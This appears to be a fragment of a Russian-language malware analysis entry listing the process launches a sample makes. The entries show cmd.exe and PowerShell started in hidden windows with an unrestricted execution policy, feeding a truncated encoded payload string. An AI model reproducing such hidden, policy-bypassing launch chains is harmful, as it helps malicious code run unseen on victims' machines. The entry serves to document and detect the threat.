Техническая информация
- '%WINDIR%\syswow64\cmd.exe' /c powershell.exe $YmgBp = 'AAAAAAAAAAAAAAAAAAAAAPQl+JCOzpJjaCc4oUUtzD6dtRc5GeY13jTOOYnEVEw9/oEcTlImTTjV3Mz44W6BrbCgvmdbny1MHoQC5+rcpv+sFoXHM3PSehbBHZ2q1IJ8xPaB0q0JwnompfbTkfMVDiE/FBejZH/5RWv3p... (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $YmgBp = 'AAAAAAAAAAAAAAAAAAAAAPQl+JCOzpJjaCc4oUUtzD6dtRc5GeY13jTOOYnEVEw9/oEcTlImTTjV... (со скрытым окном)